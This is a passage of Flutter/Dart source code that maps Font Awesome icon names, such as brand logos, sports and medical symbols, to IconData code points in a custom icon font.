const IconData(0xf27c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vimeo':
const IconData(0xf27d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'font_awesome_black_tie':
const IconData(0xf27e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fonticons':
const IconData(0xf280, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reddit_alien':
const IconData(0xf281, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'edge_browser':
const IconData(0xf282, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'codie_pie':
const IconData(0xf284, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'modx':
const IconData(0xf285, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fort_awesome':
const IconData(0xf286, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'usb':
const IconData(0xf287, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'product_hunt':
const IconData(0xf288, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mixcloud':
const IconData(0xf289, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'scribd':
const IconData(0xf28a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pause_circle':
const IconData(0xf28b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stop_circle':
const IconData(0xf28d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shopping_bag':
const IconData(0xf290, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shopping_basket':
const IconData(0xf291, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hashtag':
const IconData(0xf292, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bluetooth_2':
const IconData(0xf293, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bluetooth':
const IconData(0xf294, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'percent':
const IconData(0xf295, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gitlab':
const IconData(0xf296, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wpbeginner':
const IconData(0xf297, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wpforms':
const IconData(0xf298, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envira_gallery':
const IconData(0xf299, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'universal_access':
const IconData(0xf29a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blind':
const IconData(0xf29d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'audio_description':
const IconData(0xf29e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phone_volume':
const IconData(0xf2a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'braille':
const IconData(0xf2a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'assistive_listening_systems':
const IconData(0xf2a2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'american_sign_language_interpreting':
const IconData(0xf2a3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'deaf':
const IconData(0xf2a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'glide':
const IconData(0xf2a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'glide_g':
const IconData(0xf2a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sign_language':
const IconData(0xf2a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'low_vision':
const IconData(0xf2a8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video':
const IconData(0xf2a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video_square':
const IconData(0xf2aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snapchat':
const IconData(0xf2ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snapchat_ghost':
const IconData(0xf2ac, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snapchat_square':
const IconData(0xf2ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pied_piper_logo':
const IconData(0xf2ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'first_order':
const IconData(0xf2b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yoast':
const IconData(0xf2b1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'themeisle':
const IconData(0xf2b2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_plus':
const IconData(0xf2b3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'font_awesome':
const IconData(0xf2b4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'handshake':
const IconData(0xf2b5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope_open':
const IconData(0xf2b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'linode':
const IconData(0xf2b8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'address_book':
const IconData(0xf2b9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'address_card':
const IconData(0xf2bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_circle':
const IconData(0xf2bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'identification_badge':
const IconData(0xf2c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'identification_card':
const IconData(0xf2c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quora':
const IconData(0xf2c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'free_code_camp':
const IconData(0xf2c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'telegram':
const IconData(0xf2c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer_full':
const IconData(0xf2c7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer_3_4_full':
const IconData(0xf2c8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer_1_2_full':
const IconData(0xf2c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer_1_4_full':
const IconData(0xf2ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer_empty':
const IconData(0xf2cb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shower':
const IconData(0xf2cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bath':
const IconData(0xf2cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'podcast':
const IconData(0xf2ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_maximize':
const IconData(0xf2d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_minimize':
const IconData(0xf2d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_restore':
const IconData(0xf2d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bandcamp':
const IconData(0xf2d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grav':
const IconData(0xf2d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'etsy':
const IconData(0xf2d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'imdb':
const IconData(0xf2d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ravelry':
const IconData(0xf2d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sellcast':
const IconData(0xf2da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'microchip':
const IconData(0xf2db, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'snowflake':
const IconData(0xf2dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'superpowers':
const IconData(0xf2dd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wpexplorer':
const IconData(0xf2de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'meetup':
const IconData(0xf2e0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'utensil_spoon':
const IconData(0xf2e5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'utensils':
const IconData(0xf2e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_undo':
const IconData(0xf2ea, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_trash':
const IconData(0xf2ed, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sync':
const IconData(0xf2f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stopwatch':
const IconData(0xf2f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sign_out':
const IconData(0xf2f5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_sign_in':
const IconData(0xf2f6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_redo':
const IconData(0xf2f9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'poo':
const IconData(0xf2fe, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'images':
const IconData(0xf302, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_pencil':
const IconData(0xf303, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pen':
const IconData(0xf304, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_pen':
const IconData(0xf305, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_long_arrow_down':
const IconData(0xf309, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_long_arrow_left':
const IconData(0xf30a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_long_arrow_right':
const IconData(0xf30b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_long_arrow_up':
const IconData(0xf30c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_expand_arrows':
const IconData(0xf31e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clipboard':
const IconData(0xf328, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrows_horizontal':
const IconData(0xf337, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrows_vertical':
const IconData(0xf338, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_down':
const IconData(0xf358, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_left':
const IconData(0xf359, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_right':
const IconData(0xf35a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_arrow_circle_up':
const IconData(0xf35b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_font_awesome':
const IconData(0xf35c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_external_link':
const IconData(0xf35d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_external_link_square':
const IconData(0xf360, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_exchange':
const IconData(0xf362, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'accessible_icon':
const IconData(0xf368, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'accusoft':
const IconData(0xf369, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'adversal':
const IconData(0xf36a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'affiliatetheme':
const IconData(0xf36b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'algolia':
const IconData(0xf36c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'amilia':
const IconData(0xf36d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angry_creative':
const IconData(0xf36e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'app_store':
const IconData(0xf36f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ios_app_store':
const IconData(0xf370, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'apper_systems_ab':
const IconData(0xf371, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'asymmetrik__ltd_':
const IconData(0xf372, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'audible':
const IconData(0xf373, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'avianex':
const IconData(0xf374, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'amazon_web_services__aws_':
const IconData(0xf375, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bimobject':
const IconData(0xf378, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bitcoin':
const IconData(0xf379, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bity':
const IconData(0xf37a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blackberry':
const IconData(0xf37b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blogger':
const IconData(0xf37c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blogger_b':
const IconData(0xf37d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'b_rom_bel_experte_gmbh___co__kg_':
const IconData(0xf37f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'centercode':
const IconData(0xf380, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_cloud_download':
const IconData(0xf381, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_cloud_upload':
const IconData(0xf382, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloudscale_ch':
const IconData(0xf383, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloudsmith':
const IconData(0xf384, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cloudversify':
const IconData(0xf385, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cpanel':
const IconData(0xf388, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_css3_logo':
const IconData(0xf38b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cuttlefish':
const IconData(0xf38c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dungeons___dragons':
const IconData(0xf38d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'deploy_dog':
const IconData(0xf38e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'deskpro':
const IconData(0xf38f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'digital_ocean':
const IconData(0xf391, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'discord':
const IconData(0xf392, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'discourse':
const IconData(0xf393, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dochub':
const IconData(0xf394, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'docker':
const IconData(0xf395, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'draft2digital':
const IconData(0xf396, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dribbble_square':
const IconData(0xf397, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dyalog':
const IconData(0xf399, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'earlybirds':
const IconData(0xf39a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'erlang':
const IconData(0xf39d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'facebook_f':
const IconData(0xf39e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'facebook_messenger':
const IconData(0xf39f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'firstdraft':
const IconData(0xf3a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fonticons_fi':
const IconData(0xf3a2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_fort_awesome':
const IconData(0xf3a3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'freebsd':
const IconData(0xf3a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gem':
const IconData(0xf3a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gitkraken':
const IconData(0xf3a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gofore':
const IconData(0xf3a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'goodreads':
const IconData(0xf3a8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'goodreads_g':
const IconData(0xf3a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_drive':
const IconData(0xf3aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_play':
const IconData(0xf3ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gripfire__inc_':
const IconData(0xf3ac, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grunt':
const IconData(0xf3ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gulp':
const IconData(0xf3ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hacker_news_square':
const IconData(0xf3af, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hireahelper':
const IconData(0xf3b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hotjar':
const IconData(0xf3b1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hubspot':
const IconData(0xf3b2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'itunes':
const IconData(0xf3b4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'itunes_note':
const IconData(0xf3b5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jenkis':
const IconData(0xf3b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'joget':
const IconData(0xf3b7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'javascript__js_':
const IconData(0xf3b8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'javascript__js__square':
const IconData(0xf3b9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'keycdn':
const IconData(0xf3ba, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kickstarter':
const IconData(0xf3bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kickstarter_k':
const IconData(0xf3bc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laravel':
const IconData(0xf3bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_level_down':
const IconData(0xf3be, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_level_up':
const IconData(0xf3bf, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'line':
const IconData(0xf3c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lock_open':
const IconData(0xf3c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lyft':
const IconData(0xf3c3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'magento':
const IconData(0xf3c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_map_marker':
const IconData(0xf3c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medapps':
const IconData(0xf3c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medium_m':
const IconData(0xf3c7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mrt':
const IconData(0xf3c8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_microphone':
const IconData(0xf3c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'microsoft':
const IconData(0xf3ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mix':
const IconData(0xf3cb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mizuni':
const IconData(0xf3cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_mobile':
const IconData(0xf3cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'monero':
const IconData(0xf3d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_money_bill':
const IconData(0xf3d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'napster':
const IconData(0xf3d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'node_js_js':
const IconData(0xf3d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'npm':
const IconData(0xf3d4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ns8':
const IconData(0xf3d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'nutritionix':
const IconData(0xf3d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'page4_corporation':
const IconData(0xf3d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'palfed':
const IconData(0xf3d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'patreon':
const IconData(0xf3d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'periscope':
const IconData(0xf3da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phabricator':
const IconData(0xf3db, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phoenix_framework':
const IconData(0xf3dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phone_slash':
const IconData(0xf3dd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'playstation':
const IconData(0xf3df, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'portrait':
const IconData(0xf3e0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pushed':
const IconData(0xf3e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'python':
const IconData(0xf3e2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'red_river':
const IconData(0xf3e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wpressr':
const IconData(0xf3e4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reply':
const IconData(0xf3e5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'replyd':
const IconData(0xf3e6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'resolving':
const IconData(0xf3e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rocket_chat':
const IconData(0xf3e8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rockrms':
const IconData(0xf3e9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'schlix':
const IconData(0xf3ea, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'searchengin':
const IconData(0xf3eb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'servicestack':
const IconData(0xf3ec, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_shield':
const IconData(0xf3ed, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sistrix':
const IconData(0xf3ee, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'slack_hashtag':
const IconData(0xf3ef, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'speakap':
const IconData(0xf3f3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'staylinked':
const IconData(0xf3f5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'steam_symbol':
const IconData(0xf3f6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sticker_mule':
const IconData(0xf3f7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'studio_vinari':
const IconData(0xf3f8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'supple':
const IconData(0xf3f9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_tablet':
const IconData(0xf3fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_tachometer':
const IconData(0xf3fd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'telegram_plane':
const IconData(0xf3fe, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_ticket':
const IconData(0xf3ff, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'uber':
const IconData(0xf402, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'uikit':
const IconData(0xf403, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'uniregistry':
const IconData(0xf404, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'untappd':
const IconData(0xf405, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_user':
const IconData(0xf406, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'us_sunnah_foundation':
const IconData(0xf407, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vaadin':
const IconData(0xf408, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'viber':
const IconData(0xf409, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vimeo_2':
const IconData(0xf40a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vnv':
const IconData(0xf40b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'what_s_app_square':
const IconData(0xf40c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'whmcs':
const IconData(0xf40d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_close':
const IconData(0xf410, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wordpress_simple':
const IconData(0xf411, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'xbox':
const IconData(0xf412, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yandex':
const IconData(0xf413, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yandex_international':
const IconData(0xf414, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'apple_pay':
const IconData(0xf415, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'apple_pay_credit_card':
const IconData(0xf416, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fly':
const IconData(0xf417, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'node_js':
const IconData(0xf419, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'open_source_initiative':
const IconData(0xf41a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'react':
const IconData(0xf41b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'autoprefixer':
const IconData(0xf41c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'less':
const IconData(0xf41d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sass':
const IconData(0xf41e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vue_js':
const IconData(0xf41f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angular':
const IconData(0xf420, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'aviato':
const IconData(0xf421, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ember':
const IconData(0xf423, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'font_awesome_flag':
const IconData(0xf425, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gitter':
const IconData(0xf426, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hooli':
const IconData(0xf427, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'strava':
const IconData(0xf428, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stripe':
const IconData(0xf429, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stripe_s':
const IconData(0xf42a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'typo3':
const IconData(0xf42b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'amazon_pay':
const IconData(0xf42c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'amazon_pay_credit_card':
const IconData(0xf42d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ethereum':
const IconData(0xf42e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'korvue':
const IconData(0xf42f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'elementor':
const IconData(0xf430, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'youtube_square':
const IconData(0xf431, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'baseball_ball':
const IconData(0xf433, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'basketball_ball':
const IconData(0xf434, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bowling_ball':
const IconData(0xf436, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess':
const IconData(0xf439, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_bishop':
const IconData(0xf43a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_board':
const IconData(0xf43c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_king':
const IconData(0xf43f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_knight':
const IconData(0xf441, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_pawn':
const IconData(0xf443, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_queen':
const IconData(0xf445, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chess_rook':
const IconData(0xf447, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dumbbell':
const IconData(0xf44b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flipboard':
const IconData(0xf44d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'football_ball':
const IconData(0xf44e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'golf_ball':
const IconData(0xf450, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hips':
const IconData(0xf452, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hockey_puck':
const IconData(0xf453, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'php':
const IconData(0xf457, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quidditch':
const IconData(0xf458, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quinscape':
const IconData(0xf459, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'square_full':
const IconData(0xf45c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'table_tennis':
const IconData(0xf45d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'volleyball_ball':
const IconData(0xf45f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'allergies':
const IconData(0xf461, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'band_aid':
const IconData(0xf462, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'box':
const IconData(0xf466, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'boxes':
const IconData(0xf468, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medical_briefcase':
const IconData(0xf469, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'burn':
const IconData(0xf46a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'capsules':
const IconData(0xf46b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clipboard_with_check':
const IconData(0xf46c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clipboard_list':
const IconData(0xf46d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'diagnoses':
const IconData(0xf470, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dna':
const IconData(0xf471, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dolly':
const IconData(0xf472, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dolly_flatbed':
const IconData(0xf474, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medical_file':
